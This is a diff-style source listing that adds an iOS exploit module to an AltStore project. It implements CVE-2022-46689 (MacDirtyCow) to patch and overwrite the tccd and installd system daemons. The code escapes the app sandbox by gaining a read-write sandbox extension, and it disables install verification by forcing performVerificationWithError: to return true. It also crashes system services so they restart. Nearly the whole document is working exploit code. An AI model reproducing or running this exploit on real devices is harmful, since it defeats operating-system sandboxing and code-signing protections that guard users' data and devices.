// }
|
||||||
|
// print(Date())
|
||||||
|
// print("Successfully overwrote!")
|
||||||
|
// return true
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// func readFile(path: String) -> String? {
|
||||||
|
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
|
||||||
|
// }
|
||||||
6
AltStore/MDCExploit/grant_fda.h
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
#pragma once
|
||||||
|
@import Foundation;
|
||||||
|
|
||||||
|
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||||
|
void grant_fda(void (^_Nonnull completion)(NSError* _Nullable));
|
||||||
|
bool installdaemon_patch(void);
|
||||||
617
AltStore/MDCExploit/grant_fda.m
Normal file
@@ -0,0 +1,617 @@
|
|||||||
|
@import Darwin;
|
||||||
|
@import Foundation;
|
||||||
|
@import MachO;
|
||||||
|
|
||||||
|
#import <mach-o/fixup-chains.h>
|
||||||
|
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
|
||||||
|
// WDBFontOverwrite
|
||||||
|
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||||
|
// Please don't call this code on iOS 14 or below
|
||||||
|
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||||
|
#import "grant_fda.h"
|
||||||
|
#import "helping_tools.h"
|
||||||
|
#import "vm_unalign_csr.h"
|
||||||
|
|
||||||
|
typedef NSObject* xpc_object_t;
|
||||||
|
typedef xpc_object_t xpc_connection_t;
|
||||||
|
typedef void (^xpc_handler_t)(xpc_object_t object);
|
||||||
|
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
|
||||||
|
xpc_object_t _Nullable const* values, size_t count);
|
||||||
|
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
|
||||||
|
uint64_t flags);
|
||||||
|
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
|
||||||
|
void xpc_connection_resume(xpc_connection_t connection);
|
||||||
|
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
|
||||||
|
dispatch_queue_t replyq, xpc_handler_t handler);
|
||||||
|
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
|
||||||
|
xpc_object_t message);
|
||||||
|
xpc_object_t xpc_bool_create(bool value);
|
||||||
|
xpc_object_t xpc_string_create(const char* string);
|
||||||
|
xpc_object_t xpc_null_create(void);
|
||||||
|
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
|
||||||
|
|
||||||
|
int64_t sandbox_extension_consume(const char* token);
|
||||||
|
|
||||||
|
// MARK: - patchfind
|
||||||
|
|
||||||
|
struct fda_offsets {
|
||||||
|
uint64_t of_addr_com_apple_tcc_;
|
||||||
|
uint64_t offset_pad_space_for_rw_string;
|
||||||
|
uint64_t of_addr_s_kTCCSML;
|
||||||
|
uint64_t of_auth_got_sb_init;
|
||||||
|
uint64_t of_return_0;
|
||||||
|
bool is_arm64e;
|
||||||
|
};
|
||||||
|
|
||||||
|
static bool pchfind_sections(void* execmap,
|
||||||
|
struct segment_command_64** data_seg,
|
||||||
|
struct symtab_command** stabout,
|
||||||
|
struct dysymtab_command** dystabout) {
|
||||||
|
struct mach_header_64* executable_header = execmap;
|
||||||
|
struct load_command* load_command = execmap + sizeof(struct mach_header_64);
|
||||||
|
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||||
|
load_command_index++) {
|
||||||
|
switch (load_command->cmd) {
|
||||||
|
case LC_SEGMENT_64: {
|
||||||
|
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||||
|
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||||
|
*data_seg = segment;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case LC_SYMTAB: {
|
||||||
|
*stabout = (struct symtab_command*)load_command;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case LC_DYSYMTAB: {
|
||||||
|
*dystabout = (struct dysymtab_command*)load_command;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
load_command = ((void*)load_command) + load_command->cmdsize;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t pchfind_get_padding(struct segment_command_64* segment) {
|
||||||
|
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||||
|
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||||
|
return last_section->offset + last_section->size;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t pchfind_pointer_to_string(void* em, size_t el, const char* n) {
|
||||||
|
void* str_offset = memmem(em, el, n, strlen(n) + 1);
|
||||||
|
if (!str_offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint64_t str_file_offset = str_offset - em;
|
||||||
|
for (int i = 0; i < el; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(em + i);
|
||||||
|
if ((val & 0xfffffffful) == str_file_offset) {
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t pchfind_return_0(void* exmp, size_t el) {
|
||||||
|
// TCCDSyncAccessAction::sequencer
|
||||||
|
// mov x0, #0
|
||||||
|
// ret
|
||||||
|
static const char ndle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||||
|
void* offset = memmem(exmp, el, ndle, sizeof(ndle));
|
||||||
|
if (!offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return offset - exmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t pchfind_got(void* ecm, size_t executable_length,
|
||||||
|
struct segment_command_64* data_const_segment,
|
||||||
|
struct symtab_command* symtab_command,
|
||||||
|
struct dysymtab_command* dysymtab_command,
|
||||||
|
const char* target_symbol_name) {
|
||||||
|
uint64_t target_symbol_index = 0;
|
||||||
|
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||||
|
struct nlist_64* sym =
|
||||||
|
((struct nlist_64*)(ecm + symtab_command->symoff)) + sym_index;
|
||||||
|
const char* sym_name = ecm + symtab_command->stroff + sym->n_un.n_strx;
|
||||||
|
if (strcmp(sym_name, target_symbol_name)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - execmap));
|
||||||
|
target_symbol_index = sym_index;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct section_64* section_array =
|
||||||
|
((void*)data_const_segment) + sizeof(struct segment_command_64);
|
||||||
|
struct section_64* first_section = §ion_array[0];
|
||||||
|
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
|
||||||
|
strcmp(first_section->sectname, "__got") == 0)) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint32_t* indirect_table = ecm + dysymtab_command->indirectsymoff;
|
||||||
|
|
||||||
|
for (int i = 0; i < first_section->size; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(ecm + first_section->offset + i);
|
||||||
|
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||||
|
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||||
|
return first_section->offset + i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool pchfind(void* execmap, size_t executable_length,
|
||||||
|
struct fda_offsets* offsets) {
|
||||||
|
struct segment_command_64* data_const_segment = nil;
|
||||||
|
struct symtab_command* symtab_command = nil;
|
||||||
|
struct dysymtab_command* dysymtab_command = nil;
|
||||||
|
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
|
||||||
|
&dysymtab_command)) {
|
||||||
|
// printf("no sections\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->of_addr_com_apple_tcc_ =
|
||||||
|
pchfind_pointer_to_string(execmap, executable_length, "com.apple.tcc.")) == 0) {
|
||||||
|
// printf("no com.apple.tcc. string\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_pad_space_for_rw_string =
|
||||||
|
pchfind_get_padding(data_const_segment)) == 0) {
|
||||||
|
// printf("no padding\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->of_addr_s_kTCCSML = pchfind_pointer_to_string(
|
||||||
|
execmap, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||||
|
// printf("no kTCCServiceMediaLibrary string\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->of_auth_got_sb_init =
|
||||||
|
pchfind_got(execmap, executable_length, data_const_segment, symtab_command,
|
||||||
|
dysymtab_command, "_sandbox_init")) == 0) {
|
||||||
|
// printf("no sandbox_init\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->of_return_0 = pchfind_return_0(execmap, executable_length)) ==
|
||||||
|
0) {
|
||||||
|
// printf("no just return 0\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
struct mach_header_64* executable_header = execmap;
|
||||||
|
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - tccd patching
|
||||||
|
|
||||||
|
static void call_tcc_daemon(void (^completion)(NSString* _Nullable extension_token)) {
|
||||||
|
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||||
|
// re-use it until next reboot.
|
||||||
|
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||||
|
//TODO WARNING REPLACE com.apple.tccd
|
||||||
|
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||||
|
"TXUWU", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||||
|
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||||
|
// NSLog(@"event handler (xpc): %@", object);
|
||||||
|
});
|
||||||
|
xpc_connection_resume(connection);
|
||||||
|
const char* keys[] = {
|
||||||
|
// "TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||||
|
// "target_token", "background_session",
|
||||||
|
};
|
||||||
|
xpc_object_t values[] = {
|
||||||
|
xpc_string_create("17087.1"),
|
||||||
|
xpc_string_create("TCCAccessRequest"),
|
||||||
|
xpc_string_create("com.apple.app-sandbox.read-write"),
|
||||||
|
xpc_null_create(),
|
||||||
|
xpc_bool_create(false),
|
||||||
|
xpc_null_create(),
|
||||||
|
xpc_bool_create(false),
|
||||||
|
};
|
||||||
|
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||||
|
#if 0
|
||||||
|
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||||
|
// NSLog(@"%@", response_message);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
xpc_connection_send_message_with_reply(
|
||||||
|
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||||
|
^(xpc_object_t object) {
|
||||||
|
if (!object) {
|
||||||
|
//object is nil???
|
||||||
|
// NSLog(@"wqfewfw9");
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
//response:
|
||||||
|
// NSLog(@"qwdqwd%@", object);
|
||||||
|
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||||
|
// NSLog(@"xpc error?");
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
//debug description:
|
||||||
|
// NSLog(@"wqdwqu %@", [object debugDescription]);
|
||||||
|
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||||
|
NSString* extension_nsstring =
|
||||||
|
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||||
|
completion(extension_nsstring);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
static NSData* patch_tcc_daemon(void* executableMap, size_t executableLength) {
|
||||||
|
struct fda_offsets offsets = {};
|
||||||
|
if (!pchfind(executableMap, executableLength, &offsets)) {
|
||||||
|
return nil;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||||
|
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
|
||||||
|
char* mutableBytes = data.mutableBytes;
|
||||||
|
{
|
||||||
|
// rewrite com.apple.tcc. into blank string
|
||||||
|
*(uint64_t*)(mutableBytes + offsets.of_addr_com_apple_tcc_ + 8) = 0;
|
||||||
|
}
|
||||||
|
{
|
||||||
|
// make of_addr_s_kTCCSML point to "com.apple.app-sandbox.read-write"
|
||||||
|
// we need to stick this somewhere; just put it in the padding between
|
||||||
|
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||||
|
strcpy((char*)(data.mutableBytes + offsets.offset_pad_space_for_rw_string),
|
||||||
|
"com.apple.app-sandbox.read-write");
|
||||||
|
struct dyld_chained_ptr_arm64e_rebase tRBase =
|
||||||
|
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||||
|
offsets.of_addr_s_kTCCSML);
|
||||||
|
tRBase.target = offsets.offset_pad_space_for_rw_string;
|
||||||
|
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||||
|
offsets.of_addr_s_kTCCSML) =
|
||||||
|
tRBase;
|
||||||
|
*(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) =
|
||||||
|
strlen("com.apple.app-sandbox.read-write");
|
||||||
|
}
|
||||||
|
if (offsets.is_arm64e) {
|
||||||
|
// make sandbox_init call return 0;
|
||||||
|
struct dyld_chained_ptr_arm64e_auth_rebase tRBase = {
|
||||||
|
.auth = 1,
|
||||||
|
.bind = 0,
|
||||||
|
.next = 1,
|
||||||
|
.key = 0, // IA
|
||||||
|
.addrDiv = 1,
|
||||||
|
.diversity = 0,
|
||||||
|
.target = offsets.of_return_0,
|
||||||
|
};
|
||||||
|
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||||
|
offsets.of_auth_got_sb_init) =
|
||||||
|
tRBase;
|
||||||
|
} else {
|
||||||
|
// make sandbox_init call return 0;
|
||||||
|
struct dyld_chained_ptr_64_rebase tRBase = {
|
||||||
|
.bind = 0,
|
||||||
|
.next = 2,
|
||||||
|
.target = offsets.of_return_0,
|
||||||
|
};
|
||||||
|
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) =
|
||||||
|
tRBase;
|
||||||
|
}
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool over_write_file(int fd, NSData* sourceData) {
|
||||||
|
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||||
|
bool success = false;
|
||||||
|
for (int i = 0; i < 2; i++) {
|
||||||
|
if (unalign_csr(
|
||||||
|
fd, off, sourceData.bytes + off,
|
||||||
|
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||||
|
success = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!success) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void grant_fda_impl(void (^completion)(NSString* extension_token,
|
||||||
|
NSError* _Nullable error)) {
|
||||||
|
// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||||
|
char* targetPath = "/Nope";
|
||||||
|
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
if (fd == -1) {
|
||||||
|
// iOS 15.3 and below
|
||||||
|
// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||||
|
targetPath = "/Nope";
|
||||||
|
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
}
|
||||||
|
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||||
|
|
||||||
|
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||||
|
NSData* sourceData = patch_tcc_daemon(targetMap, targetLength);
|
||||||
|
if (!sourceData) {
|
||||||
|
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:5
|
||||||
|
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!over_write_file(fd, sourceData)) {
|
||||||
|
over_write_file(fd, originalData);
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
completion(
|
||||||
|
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:1
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
|
||||||
|
@"not be vulnerable to CVE-2022-46689."
|
||||||
|
}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
|
||||||
|
// crash_with_xpc_thingy("com.apple.tccd");
|
||||||
|
|
||||||
|
sleep(1);
|
||||||
|
call_tcc_daemon(^(NSString* _Nullable extension_token) {
|
||||||
|
over_write_file(fd, originalData);
|
||||||
|
// crash_with_xpc_thingy("com.apple.tccd");
|
||||||
|
NSError* returnError = nil;
|
||||||
|
if (extension_token == nil) {
|
||||||
|
returnError =
|
||||||
|
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:2
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"no extension token returned."
|
||||||
|
}];
|
||||||
|
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||||
|
returnError = [NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:3
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"failed: returned a media library token "
|
||||||
|
@"instead of an app sandbox token."
|
||||||
|
}];
|
||||||
|
extension_token = nil;
|
||||||
|
}
|
||||||
|
completion(extension_token, returnError);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
void grant_fda(void (^completion)(NSError* _Nullable)) {
|
||||||
|
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||||
|
// class introduced in iOS 15.0.
|
||||||
|
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||||
|
completion([NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:6
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey :
|
||||||
|
@"Not supported on iOS 14 and below."
|
||||||
|
}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||||
|
inDomains:NSUserDomainMask][0];
|
||||||
|
NSURL* sourceURL =
|
||||||
|
[documentDirectory URLByAppendingPathComponent:@"fda_token.txt"];
|
||||||
|
NSError* error = nil;
|
||||||
|
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||||
|
encoding:NSUTF8StringEncoding
|
||||||
|
error:&error];
|
||||||
|
if (cachedToken) {
|
||||||
|
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
|
||||||
|
if (handle > 0) {
|
||||||
|
// cached version worked
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||||
|
if (error) {
|
||||||
|
completion(error);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
|
||||||
|
if (handle <= 0) {
|
||||||
|
completion([NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:4
|
||||||
|
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
[extension_token writeToURL:sourceURL
|
||||||
|
atomically:true
|
||||||
|
encoding:NSUTF8StringEncoding
|
||||||
|
error:&error];
|
||||||
|
completion(nil);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// MARK - installd patch
|
||||||
|
|
||||||
|
struct daemon_remove_app_limit_offsets {
|
||||||
|
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||||
|
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||||
|
uint64_t offset_data_const_end_padding;
|
||||||
|
// MIUninstallRecord::supportsSecureCoding
|
||||||
|
uint64_t offset_return_true;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct daemon_remove_app_limit_offsets gAppLimitOffsets = {
|
||||||
|
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||||
|
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||||
|
.offset_data_const_end_padding = 0x79c38,
|
||||||
|
.offset_return_true = 0x19860,
|
||||||
|
};
|
||||||
|
|
||||||
|
static uint64_t pchfind_find_rwt_base_methods(void* execmap,
|
||||||
|
size_t executable_length,
|
||||||
|
const char* needle) {
|
||||||
|
void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1);
|
||||||
|
if (!str_offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint64_t str_file_offset = str_offset - execmap;
|
||||||
|
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(execmap + i);
|
||||||
|
if ((val & 0xfffffffful) != str_file_offset) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// baseMethods
|
||||||
|
if (*(uint64_t*)(execmap + i + 8) != 0) {
|
||||||
|
return i + 8;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) {
|
||||||
|
// mov w0, #1
|
||||||
|
// ret
|
||||||
|
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||||
|
void* offset = memmem(execmap, executable_length, needle, sizeof(needle));
|
||||||
|
if (!offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return offset - execmap;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool pchfind_deaaamon(void* execmap, size_t executable_length,
|
||||||
|
struct daemon_remove_app_limit_offsets* offsets) {
|
||||||
|
struct segment_command_64* data_const_segment = nil;
|
||||||
|
struct symtab_command* symtab_command = nil;
|
||||||
|
struct dysymtab_command* dysymtab_command = nil;
|
||||||
|
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
|
||||||
|
&dysymtab_command)) {
|
||||||
|
// printf("no sections\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) {
|
||||||
|
// printf("no padding\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||||
|
pchfind_find_rwt_base_methods(execmap, executable_length,
|
||||||
|
"MIInstallableBundle")) == 0) {
|
||||||
|
// printf("no MIInstallableBundle class_rw_t\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||||
|
(*(uint64_t*)(execmap +
|
||||||
|
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||||
|
0xffffffull;
|
||||||
|
|
||||||
|
if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) ==
|
||||||
|
0) {
|
||||||
|
// printf("no return true\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct objc_method {
|
||||||
|
int32_t name;
|
||||||
|
int32_t types;
|
||||||
|
int32_t imp;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct objc_method_list {
|
||||||
|
uint32_t entsizeAndFlags;
|
||||||
|
uint32_t count;
|
||||||
|
struct objc_method methods[];
|
||||||
|
};
|
||||||
|
|
||||||
|
static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset,
|
||||||
|
uint64_t new_offset, uint64_t* out_copied_length,
|
||||||
|
void (^callback)(const char* sel,
|
||||||
|
uint64_t* inout_function_pointer)) {
|
||||||
|
struct objc_method_list* original_list = mutableBytes + old_offset;
|
||||||
|
struct objc_method_list* new_list = mutableBytes + new_offset;
|
||||||
|
*out_copied_length =
|
||||||
|
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
|
||||||
|
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
|
||||||
|
new_list->count = original_list->count;
|
||||||
|
for (int method_index = 0; method_index < original_list->count; method_index++) {
|
||||||
|
struct objc_method* method = &original_list->methods[method_index];
|
||||||
|
// Relative pointers
|
||||||
|
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
|
||||||
|
uint64_t types_file_offset =
|
||||||
|
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
|
||||||
|
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
|
||||||
|
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
|
||||||
|
callback(sel, &imp_file_offset);
|
||||||
|
|
||||||
|
struct objc_method* new_method = &new_list->methods[method_index];
|
||||||
|
new_method->name = (int32_t)((int64_t)name_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
|
||||||
|
new_method->types = (int32_t)((int64_t)types_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
|
||||||
|
new_method->imp = (int32_t)((int64_t)imp_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) {
|
||||||
|
struct daemon_remove_app_limit_offsets offsets = {};
|
||||||
|
if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) {
|
||||||
|
return nil;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||||
|
char* mutableBytes = data.mutableBytes;
|
||||||
|
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||||
|
uint64_t copied_size = 0;
|
||||||
|
uint64_t new_method_list_offset = current_empty_space;
|
||||||
|
patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||||
|
current_empty_space, &copied_size,
|
||||||
|
^(const char* sel, uint64_t* inout_address) {
|
||||||
|
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
*inout_address = offsets.offset_return_true;
|
||||||
|
});
|
||||||
|
current_empty_space += copied_size;
|
||||||
|
((struct
|
||||||
|
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||||
|
offsets
|
||||||
|
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
|
||||||
|
->target = new_method_list_offset;
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool installdaemon_patch() {
|
||||||
|
const char* targetPath = "/usr/libexec/installd";
|
||||||
|
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||||
|
|
||||||
|
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||||
|
NSData* sourceData = make_installdaemon_patch(targetMap, targetLength);
|
||||||
|
if (!sourceData) {
|
||||||
|
//can't patchfind
|
||||||
|
// NSLog(@"wuiydqw98uuqwd");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!over_write_file(fd, sourceData)) {
|
||||||
|
over_write_file(fd, originalData);
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
//can't overwrite
|
||||||
|
// NSLog(@"wfqiohuwdhuiqoji");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
crash_with_xpc_thingy("com.apple.mobile.installd");
|
||||||
|
sleep(1);
|
||||||
|
|
||||||
|
// TODO(zhuowei): for now we revert it once installd starts
|
||||||
|
// so the change will only last until when this installd exits
|
||||||
|
// over_write_file(fd, originalData);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
12
AltStore/MDCExploit/helping_tools.h
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
#ifndef helpers_h
|
||||||
|
#define helpers_h
|
||||||
|
|
||||||
|
char* get_temporary_file_location_paths(void);
|
||||||
|
void test_nsexpressions(void);
|
||||||
|
char* setup_temporary_file(void);
|
||||||
|
|
||||||
|
void crash_with_xpc_thingy(char* service_name);
|
||||||
|
|
||||||
|
